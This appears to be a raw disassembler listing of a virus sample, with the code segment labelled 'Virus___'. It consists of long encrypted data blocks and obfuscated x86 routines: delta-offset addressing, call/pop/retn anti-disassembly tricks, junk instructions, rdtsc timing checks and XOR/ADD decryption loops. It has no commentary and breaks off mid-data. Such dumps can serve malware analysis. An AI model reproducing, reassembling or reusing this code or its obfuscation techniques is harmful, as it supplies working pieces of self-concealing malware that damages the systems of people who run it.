7504E983h, 56006AF4h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 819643EEh, 7F0C6782h, 58C0Fh, 81660000h, 8151B8EFh dd 5989A9EFh, 51006A16h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 880DBEh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 6D4825C3h dd 0E78169E4h, 46654EBDh, 919958Bh, 6A095Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BD55DC3h dd 5D13498Dh, 0F98B6609h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0F710E5C3h, 333D8D31h, 0DC8A095Dh dd 3169BD83h, 0F00095Dh, 3F84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0CE36E314h dd 0A2BB6641h, 0B896h, 0FB8B0000h, 4D928D8Dh, 9D8B095Dh dd 95D2B85h, 0BD8BE1FFh, 95D1981h, 15F9BD83h, 0F00095Dh dd 3A684h, 7DBD2300h, 83095D09h, 5D15F9BDh, 840F0109h dd 3AEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0C2C35040h, 0C2822A10h, 60C7AC91h, 4A48E181h, 75BF373Bh dd 6114116Bh, 15F9BD83h, 0F03095Dh, 33B86h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 5074B00h, 6A2D21B1h, 9589DAF4h, 95D29F1h, 1D419D8Bh dd 0F60095Dh, 8C66D9B7h, 4E180D9h, 0C90AFBB7h, 12F840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 3FBE56C3h, 60F7EC08h, 19C1BD03h, 5E9095Dh dd 73000000h, 77345F86h, 0D858B61h, 6A095D2Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 9D72C352h, 515ED88h, 0B1535D87h, 985ABF66h, 27658533h dd 8C0F095Dh, 6, 1EB99D89h, 5190095Dh, 6840Fh, 820F0000h dd 0 ; --------------------------------------------------------------------------- pop edi push eax push ecx mov bl, 30h pop ebx nop pusha mov [ebp+95D1E81h], eax jmp loc_5BB0C1 ; --------------------------------------------------------------------------- db 59h dd 349D069Fh, 11FF97BDh, 864EE295h, 941881CCh db 0D5h ; --------------------------------------------------------------------------- loc_5BB0C1: ; CODE XREF: Virus___:005BB0AAj popa push 0 mov [ebp+95D1CC1h], esi push 0CC4C7C7Fh mov edi, 69A7AEF6h add dword ptr [esp], 33D28780h call dword ptr [ebp+95D0FADh] mov edi, [ebp+95D0399h] mov ebx, edi mov [ebp+960A564h], eax push 0 push edi call sub_5BB0FA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB0FA proc near ; CODE XREF: Virus___:005BB0F2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BB0FA endp ; --------------------------------------------------------------------------- push ss scasd db 67h xchg eax, ebx clc mov edi, 6ABEDBD0h jle loc_5BB120 add [ebp+95D18CDh], ebx loc_5BB120: ; CODE XREF: Virus___:005BB114j movsx edi, bx jmp loc_5BB2AF ; --------------------------------------------------------------------------- push 0 push ecx call sub_5BB133 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB133 proc near ; CODE XREF: Virus___:005BB12Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5BB133 endp ; --------------------------------------------------------------------------- db 97h dd 0E7AF9679h, 5C858BC0h, 0BB0960A5h, 71D91777h, 1800C7h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0E5AA5CC3h, 0D0CC078Ch, 8BF0E38Eh, 5D03459Dh dd 6E56BF09h, 0B58B4293h, 960A560h, 11E8h, 0B0638400h dd 75FE2723h, 57C8762Dh, 3B0B0BBBh, 840F496Eh, 3, 5BFA8B66h dd 3151858Bh, 880F095Dh, 0 dd 6898FB7h, 8BD98B66h, 5D2C0D85h, 1DB58909h, 89095D08h dd 23600446h, 5D145D8Dh, 0E8816609h, 50613AFBh, 8A0F5250h dd 0 dd 0D88B310Fh, 3489585Ah, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B352CC32h dd 9D8B5B2Dh, 95D11C1h, 0A55CB5FFh, 6A0960h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E4BA12C3h dd 68B5AA0Ch, 90E5ECE1h, 5800Fh, 0D8BB0000h, 8146629Ch dd 171E2404h, 6A6F39h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0FB4DBDC3h, 0ADBB2256h, 8D29D711h dd 60A56485h, 0D9F38109h, 9017791Ah, 8E9h, 24788400h, 0D1878980h dd 890F5000h, 0 db 90h ; --------------------------------------------------------------------------- mov ebx, [ebp+95D0CDDh] call dword ptr [ebp+95D0FADh] mov [ebp+95D2691h], eax loc_5BB2AF: ; CODE XREF: Virus___:005BB123j popa mov edi, [ebp+95D20C9h] mov dword ptr [ebp+95D15F9h], 3 add edi, [ebp+95D10A5h] push eax xor bh, 1Ch pop ebx cmp dword ptr [ebp+960A564h], 0 jz loc_5BB310 push 0 push edi call sub_5BB2E3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB2E3 proc near ; CODE XREF: Virus___:005BB2DBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BB2E3 endp ; --------------------------------------------------------------------------- db 0CDh dd 0CFC3368Eh, 650019FFh, 72DF80F9h, 2A919D8Bh, 20E9095Dh dd 66000000h, 93FDC381h ; --------------------------------------------------------------------------- loc_5BB310: ; CODE XREF: Virus___:005BB2D2j ; Virus___:005BB327j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5BB310 jmp short loc_5BB361 ; --------------------------------------------------------------------------- loc_5BB32B: ; CODE XREF: Virus___:005BB342j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5BB32B jmp short loc_5BB361 ; --------------------------------------------------------------------------- loc_5BB346: ; CODE XREF: Virus___:005BB35Dj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5BB346 jmp short $+2 loc_5BB361: ; CODE XREF: Virus___:005BB329j ; Virus___:005BB344j mov eax, eax sbb bh, 60h add di, 0D264h cmp dword ptr [ebp+95D15F9h], 3 jnz loc_5BB72D jl loc_5BB383 pusha mov bx, ax popa loc_5BB383: ; CODE XREF: Virus___:005BB378j cmp dword ptr [ebp+960A564h], 0 jz loc_5BB72D adc edi, 0B65B312h push dword ptr [ebp+960A564h] cld call dword ptr [ebp+95D0A41h] mov [ebp+95D16E9h], eax mov esi, [ebp+960A558h] push 0 push ecx call sub_5BB3BA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB3BA proc near ; CODE XREF: Virus___:005BB3B2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5BB3BA endp ; --------------------------------------------------------------------------- mov ebx, 0FEDCB700h mov di, 8C84h mov dword ptr [esi], 10001h push 0 push edx call sub_5BB3E4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB3E4 proc near ; CODE XREF: Virus___:005BB3DCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5BB3E4 endp ; --------------------------------------------------------------------------- dd 0FF98B80h, 0C8Fh, 68D0F00h, 81000000h, 0D06C1CDBh, 9E9506Ch dd 79000000h, 0CEAA37B5h, 92CD73ADh, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 8014C356h, 7319D01h, 0B5FF095Dh, 960A564h, 7CD9D0Bh dd 95FF095Dh, 95D05FDh, 0FC8DB80h, 8Dh, 58B58B00h, 6A0960A5h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7C8C357h, 446DA8B8h, 8B9F676Bh, 5D304D85h dd 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 5BBAB3BDh, 0FBBF0F6Bh, 0C48689h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 4AD2DBC3h, 958BCBF0h, 95D0919h, 8D0Fh, 0C2830000h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 82350470h, 8D015713h, 95D1B2Dh, 0E628A2BBh, 20508918h dd 0C1858DF8h, 0E90960BBh, 0Ah, 1A83FA23h, 45048049h, 86892438h dd 0B8h, 6840Fh, 9D8B0000h, 95D1939h, 11E9h, 2F67FB00h dd 0A799FA31h, 59182C75h, 8AB78E5Ch, 6A30DAh, 9F21BF66h dd 0A564B5FFh, 0BB660960h, 95FF90ACh, 95D14C9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0BCC35040h, 0E850B826h dd 0Ch, 0DDED8028h, 0AA6492C2h, 6FB12B3Dh, 0DE8h, 2A886400h dd 3023EB6Ah, 0CB2266B1h, 6160812Eh, 34895B5Bh, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0D82379Dh, 8B663D01h, 0A8B0FFBh, 0E9000000h, 5, 0F24038A1h dd 64B5FF45h, 6A0960A5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F8F6C357h, 645B589h dd 95FF095Dh, 95D137Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 65C35343h, 5D102BD6h, 0D1BD83F6h, 95D19h dd 0A840Fh, 95890000h, 95D1A55h, 24348950h, 0A564B5FFh dd 0FE8B0960h, 2F9595FFh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0E20835C3h, 0B5FFDE8Bh dd 960A564h, 0D2BFF381h, 95FF54A6h, 95D1795h, 4F98D89h dd 8953095Dh, 5D09A185h, 0BD835B09h, 95D0B11h, 4D840F02h dd 0F000000h, 858BF8BFh, 95D2215h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 8C35646h, 0A6075686h, 21AB2B7h dd 0C6FE8A84h, 0FE90000h, 99000000h, 322EAA17h, 472AEFDh dd 8C6525AFh, 0BD89BA87h, 95D20A1h, 54585C7h, 95Dh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 4C64DCC3h, 586D344Dh, 0BE98Bh, 458B0000h, 0D8D781C5h dd 78EE2AE4h ; --------------------------------------------------------------------------- push ds loc_5BB72D: ; CODE XREF: Virus___:005BB372j ; Virus___:005BB38Aj jmp near ptr dword_5BAC14+31h ; --------------------------------------------------------------------------- push 0 push edx call sub_5BB73D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB73D proc near ; CODE XREF: Virus___:005BB735p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BB73D endp ; --------------------------------------------------------------------------- db 3Bh, 95h, 94h db 90h db 3Fh, 0AAh, 86h ; --------------------------------------------------------------------------- mov eax, ecx jno loc_5BB75F movzx ebx, cx loc_5BB75F: ; CODE XREF: Virus___:005BB756j or edi, [ebp+95D1F55h] lea eax, [ebp+95D2239h] jz loc_5BB774 movsx ebx, di loc_5BB774: ; CODE XREF: Virus___:005BB76Bj mov ebx, [ebp+95D22C9h] nop push eax push edx jmp loc_5BB793 ; --------------------------------------------------------------------------- dw 16A5h dd 65967F3Dh, 0A6F1E93Fh, 3F41C449h db 55h, 0B8h, 6 ; --------------------------------------------------------------------------- loc_5BB793: ; CODE XREF: Virus___:005BB77Dj rdtsc jmp loc_5BB7A9 ; --------------------------------------------------------------------------- dw 0C99Ah ; --------------------------------------------------------------------------- sal dword ptr [edx-63h], 1 mov ch, ch adc eax, 535D8705h mov cl, 87h dec ecx loc_5BB7A9: ; CODE XREF: Virus___:005BB795j pop edx pop eax push eax nop sub [ebp+95D2901h], ebx push 0 push 0 push edi call sub_5BB7C0 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB7C0 proc near ; CODE XREF: Virus___:005BB7B8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5BB7C0 endp ; --------------------------------------------------------------------------- inc esi mov bx, 0F583h mov [ebp+95D2271h], edi push 0 xor ebx, [ebp+95D1429h] jnp loc_5BB7ED pusha mov esi, ecx popa loc_5BB7ED: ; CODE XREF: Virus___:005BB7E3j lea eax, [ebp+9620E49h] mov ebx, [ebp+95D2615h] add eax, 5 mov [ebp+95D058Dh], ecx nop jmp loc_5BB810 ; --------------------------------------------------------------------------- dd 74EC17BBh, 3D3D9C25h ; --------------------------------------------------------------------------- loc_5BB810: ; CODE XREF: Virus___:005BB803j push eax mov di, bx nop sub [ebp+95D0AF5h], edi push 0 mov edi, [ebp+95D30F9h] and ebx, [ebp+95D13C1h] push 0 push 0 push edi call sub_5BB836 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB836 proc near ; CODE XREF: Virus___:005BB82Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BB836 endp ; --------------------------------------------------------------------------- jo short loc_5BB887 dec edx cmp ecx, [edi+381C0BEEh] call dword ptr [ebp+95D0851h] push 0 push ebx call sub_5BB860 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB860 proc near ; CODE XREF: Virus___:005BB858p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5BB860 endp ; --------------------------------------------------------------------------- dd 0D8611B2Fh, 0A590FA3Eh, 0BB66EE12h, 816672E2h, 8DB218F3h db 8Dh, 4Ch, 91h ; --------------------------------------------------------------------------- loc_5BB887: ; CODE XREF: Virus___:005BB846j pusha or [edx+0], ebp push ecx call sub_5BB894 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB894 proc near ; CODE XREF: Virus___:005BB88Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5BB894 endp ; --------------------------------------------------------------------------- dd 0D88A8177h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 6EA5D4C3h, 37963193h, 0BD83F9D5h dd 95D0971h, 9E850F01h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A8FDC351h dd 0F8AFAF8h, 0F9BF0F96h, 9111BB66h, 6A026Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8A907DC3h dd 0DE8B50FEh, 51006A90h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BF0F65E3h, 0C995FFFBh dd 6A095D14h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0D9BEC355h, 0E18E3E84h, 8B4EDC27h dd 5D0779BDh, 0DE5E909h, 0E80000h, 5D000000h, 0E53ED81h dd 6A0962h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 11E9E9C3h, 7E000000h, 0D5C7BE2Eh, 0A560DCE1h dd 0B288822h, 819B7106h, 8AE2858Dh, 85890960h, 95D1A29h dd 0BF525090h, 330BF9Bh, 11E9310Fh, 0C2000000h, 0BF48C73Bh dd 0F5C531E0h, 7A687013h, 342B2AABh, 0B350585Ah, 6A9066h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 8D2E1FC3h, 0D3E94186h, 322D9D8Bh, 0FF64095Dh, 35h, 0D381FC00h dd 7FAB2F7Ah, 258964h, 89000000h, 5D07058Dh, 99958909h dd 0FF095D19h, 5D216985h, 6AFF6A09h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AD80C351h dd 0FFD479C5h, 5D1EA1B5h, 51858909h, 0FF095D07h, 5D038595h dd 13CE909h, 5B570000h, 8B6600B0h, 3170E6F9h, 5D288185h dd 3C71E409h, 23830F61h, 0F8000001h, 89C8B60Fh, 5D3101BDh dd 0E5BD8B09h, 0BA095D12h, 6, 13E8h, 90F06900h, 0EAE9969Bh dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 5FFA8B66h, 8A0FC18Bh dd 0Ch, 7E9h, 5F3AF500h, 0DB89DCD8h, 13E8h, 83B2B600h dd 0CEE89B92h, 91BDB643h, 0BF607675h, 90123F88h, 0C15BDE8Bh dd 0C78104E8h, 4E6B216Fh, 8BE2F766h, 5D2EE1BDh, 8BC82B09h dd 5D06459Dh, 0E9D18B09h, 0Ch, 0FBDD1C1Eh, 4FDD0846h, 1ED4123Bh dd 91E9h, 41850900h, 8B095D22h, 5F4C4C85h, 0F99D2B50h dd 83095D2Eh, 7E807C0h, 35000000h, 6A576100h, 8D31AF76h dd 95D182Dh, 0C0835Bh, 6E9h, 5033E900h, 3BB62A7Ch, 13830FD0h dd 8B000000h, 5D0F11BDh, 48E909h, 8B530000h, 5D0ABD9Dh dd 8D8B5F09h, 0FFFFFFFFh, 0CE9h, 0F0C91B00h, 0B6F82430h dd 7AD692D4h, 1E18309h, 20840Fh, 8B660000h, 0FFA583F9h dd 0FEFFFFFFh, 3EC38166h, 4C9589A9h, 29505F4Ch, 5D31C585h dd 0E909h, 0B58D0000h, 961894Ch, 1B1D9D89h, 6A095Dh, 99DBD33h dd 95FF095Dh, 95D11B1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 60C35545h, 0B659D29h, 0A0B9095Dh, 6A00000Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5B70C351h, 83E6B329h, 6AFCE1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 29E77EC3h dd 0AFC2A847h, 0BD8BFC93h, 95D26ADh, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 2980B9E1h, 5D2BEDBDh, 0F88B6609h, 12E9D22Bh, 8000000h dd 759F9E4Ah, 4DDDE614h, 3724BD9Bh, 0BE0DC183h, 0C233AD24h dd 0D003E8D1h, 7504E983h, 0FBB70FF4h, 0E2D78166h, 880DACh dd 1DBF0000h, 8B44DC35h, 5D091995h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8B2106h dd 95D2F25h, 13498D8Bh, 830F095Dh, 5, 0E7E38166h, 68B0F6Bh dd 8B000000h, 5D19C99Dh, 0C28B5009h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0F690C352h, 0EE8h dd 64AE3700h, 8AE092C6h, 3AAD1F1Dh, 9279CA7h, 5D320985h dd 0BD835B09h, 95D3169h, 75840F00h, 89000000h, 5D20318Dh dd 0B809h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 5BE0C9C3h, 7101F939h, 2A3EBF9Ch dd 8D8D6335h, 95D4D92h, 7E950h, 3F2C0000h, 553E8DD6h, 0E1FF5FB1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 4FC35040h dd 0EDD77C8Bh, 0D98B661Ah, 45BD8B51h, 5F095D26h, 15F9BD83h dd 0F00095Dh, 4F984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8B66534Ah, 0F9BD83D9h dd 1095D15h, 4E7840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD8319C3h, 95D15F9h dd 88860F03h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 9C81C352h, 8902CEF9h dd 5D1A5D8Dh, 0C1BD0109h, 60095D09h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0A3C35343h, 312039C0h, 95C1BB05h dd 0D98C66D2h, 0E8FFBF0Fh, 13h, 5558F73Dh, 32C604EBh, 35C98645h dd 3E859BB5h, 5267AB1Dh, 5F5B5B56h, 6A04E180h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 5E89C352h, 548BEB81h, 0C90A6918h, 184840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8509ECC3h, 95D1351h, 2C0D858Bh, 11E9095Dh, 0FC000000h dd 0D6047B61h, 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 27658533h dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 36D2EFC3h, 12E9F03Fh, 46000000h, 608184DAh dd 0F88672D0h, 0C929E138h, 0BE93EDC6h, 6E952h, 80E60000h dd 9C518D3Bh, 11E9h, 9718CA00h, 24960C70h, 62FD1E16h, 8A5C7557h dd 0E8505771h, 14h, 5A3E387Fh, 30B5485Dh, 44808933h, 0F72B8B5Ch dd 0D1DFEB86h, 5F75B353h, 2404895Bh, 0F4DF8166h, 29006A46h dd 5D0A558Dh, 67E66809h, 0B8605B3Ah, 11ED9BC0h, 8A616060h dd 816161D0h, 64192434h, 6A5B25h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0CAA85FC3h, 63017B4Ch dd 0E381A09Fh, 3A096946h, 0FAD95FFh, 6A095Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 4DDE83C3h dd 1161BD8Bh, 8589095Dh, 960A564h, 3840Fh, 0CF800000h dd 0EB81567Ah, 2760CEC5h, 1F6E95Bh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 396BD6C3h dd 25243BE9h, 669A350Ch, 0E209F781h, 0C799501h, 858B095Dh dd 960A55Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0FCC35343h, 0C7B2B21Fh, 241379BFh, 1800C748h, 8B000000h dd 5D21C1BDh, 958B6009h, 95D0601h, 0C2E782B9h, 0B58B6139h dd 960A560h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 91C35646h dd 1E8DBD2Bh, 0BD89095Dh, 95D2EE1h, 3151858Bh, 6A095Dh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 6FC62BC3h, 25B1C1BFh, 0B70F50F7h, 600689D8h, 0BE9h dd 3861FB00h, 74E65D80h, 8589DE67h, 61F3BF0Fh, 2C0D858Bh dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0A39D2FC3h, 0D9B45870h, 89335B62h, 6A0446h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0D3CFC7C3h, 3A0AE4B8h, 66526050h, 59D826BFh, 61605250h dd 585A310Fh, 24348961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 40C35747h, 957F52E4h, 0F83CB7E0h, 10C1BD89h dd 0B5FF095Dh, 960A55Ch, 19059529h, 0FC68095Dh, 50D0DD53h dd 2CB46052h, 61F78B66h, 0F98B310Fh, 481585Ah, 41B00324h dd 55006A2Fh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F37C9C8h, 58Ch, 0D3816600h, 858D23E5h dd 960A564h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 34C35646h, 0D98B6690h, 0B70F9050h, 0AD95FFFEh dd 0F9095D0Fh, 0D8D8961h, 0C7095D08h, 5D15F985h, 309h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0F89CCA58h, 8BB4727Eh, 64BD83E3h, 960A5h dd 59840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0AFC950C3h, 188DBD8Bh, 9D8B095Dh dd 95D0705h, 45E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 3FFE1146h, 0F6380748h dd 19D8933h, 50095D25h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0E9F8C08Bh, 0Fh, 0A6111E62h, 0AAD0C869h dd 5B9F4491h, 8362D5DEh, 5D15F9BDh, 850F0309h, 439h, 831FD780h dd 60A564BDh, 840F0009h, 429h, 6459D2Bh, 0B5FF095Dh, 960A564h dd 0A4195FFh, 6A095Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 9A7E50C3h, 0FE6B835h, 0B58BDABFh dd 960A558h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0BC35747h, 0AB4138D8h, 0BF0F804Bh, 106C7D8h, 6A000100h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 2E5DC350h, 0E94C50E3h, 9, 0C0E19131h, 0C387DB17h dd 5250966Eh, 12E9h, 0BEC7C100h, 77EFD7BEh, 0E6A43D4Dh dd 4BA5DBADh, 0F614B2Ah, 0F88B6631h, 0BB50585Ah, 1DCDC387h dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 5757830Dh, 0DE8h, 396AD000h, 0FB8D954Ah dd 3FF30996h, 0DE80017h, 0C0000000h, 815B0824h, 0B54AF8Dh dd 0C5F57F72h, 0FF5F5F5Bh, 60A564B5h, 219D8B09h, 0FF095D14h dd 5D05FD95h, 0B58BF909h, 960A558h, 99D89h, 858B095Dh dd 95D304Dh, 89DEB70Fh, 0C486h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 72F6E92Ah dd 919958Bh, 0C381095Dh, 23016386h, 6A04C283h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0F0CBC352h, 8E942h, 4D070000h, 0D719BCCDh, 14B399E0h dd 0B3205089h, 0C1858DDEh, 0F0960BBh, 681h, 499D8900h dd 89095D21h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0F8E8552Fh, 0AE9h, 0EC332500h dd 0F0AE0B70h, 6A97202Fh, 8EBF6600h, 64B5FF98h, 6A0960A5h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 10C355h, 0CBFE05F2h, 0D381663Ah, 95FF4BFBh dd 95D14C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 28C35242h, 8BDF8A2Ah, 5D10E19Dh, 9E85009h, 0B2000000h dd 19DBC189h, 6AE2D934h, 2820Fh, 61600000h, 2434895Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 28C35646h dd 4961BA91h, 1024C83Dh, 3F5B509h, 0B5FF095Dh, 960A564h dd 95FFDA8Ah, 95D137Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 8AC35040h, 75FF9BD7h, 0BD834C74h, 95D19D1h dd 31840F00h, 89000000h, 5D02DDBDh, 8B665009h, 243489D9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h dd 95293716h, 95D2409h, 0A564B5FFh, 12E80960h, 8B000000h dd 866A070Ah, 986956A0h, 6F0B8F1Eh, 63943E6Ah, 25852980h dd 5F095D18h, 2F9595FFh, 6A095Dh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0DE0A50C3h, 0F3F449F6h dd 8B59D238h, 5D1305BDh, 0FF2FB309h, 60A564B5h, 65BD2309h dd 0FF095D03h, 5D179595h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0E2CF70F0h dd 0DC5B9550h, 820FE8A2h, 0Bh, 5870Fh, 0A6BF0000h, 572C2620h dd 2A25B531h, 835B095Dh, 5D0B11BDh, 840F0209h, 4Eh, 2AB9BD89h dd 858B095Dh, 95D2215h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0B9C35747h, 0CDC3FC76h, 